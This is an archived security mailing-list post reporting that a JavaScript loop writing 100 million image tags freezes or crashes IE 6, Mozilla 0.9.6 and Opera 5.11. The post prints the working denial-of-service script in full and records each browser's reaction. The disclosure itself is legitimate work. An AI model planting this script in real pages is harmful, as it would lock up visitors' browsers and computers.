Browsers fails on big image count

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Code

<script>
for(i=0;i<100000000;i++) {
   document.write("<img src=http://fakehost.com/"+i+".gif>");
}
</script>

Browser reaction

IE 6 (build 2600) @ Win2K - after long time with ~50% CPU utilization 
and very high disk utilization asks about stopping script. Small memory 
leak (few Mb per minute).
IE 6 (build 2600) @ Win98 - freezes, other IE windows renders very long,
terminating task causes computer lockup.
Mozilla 0.9.6 (build 2001112009) @ Win2K - freezes, ~98% CPU utilization 
and big memory leak (bigger than 1Mb per second).
Opera 5.11 (build 094d) @ Win2K - not freezes, responds, but not very 
fast. Big CPU utilization and very small memory leak (few hundreth 
kilobytes per minute).

-- 
Pavel Titov
Homepage: http://www.titov.pp.ru/
Home gopherspace: gopher://paveltitov.virtualave.net:7070/


[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux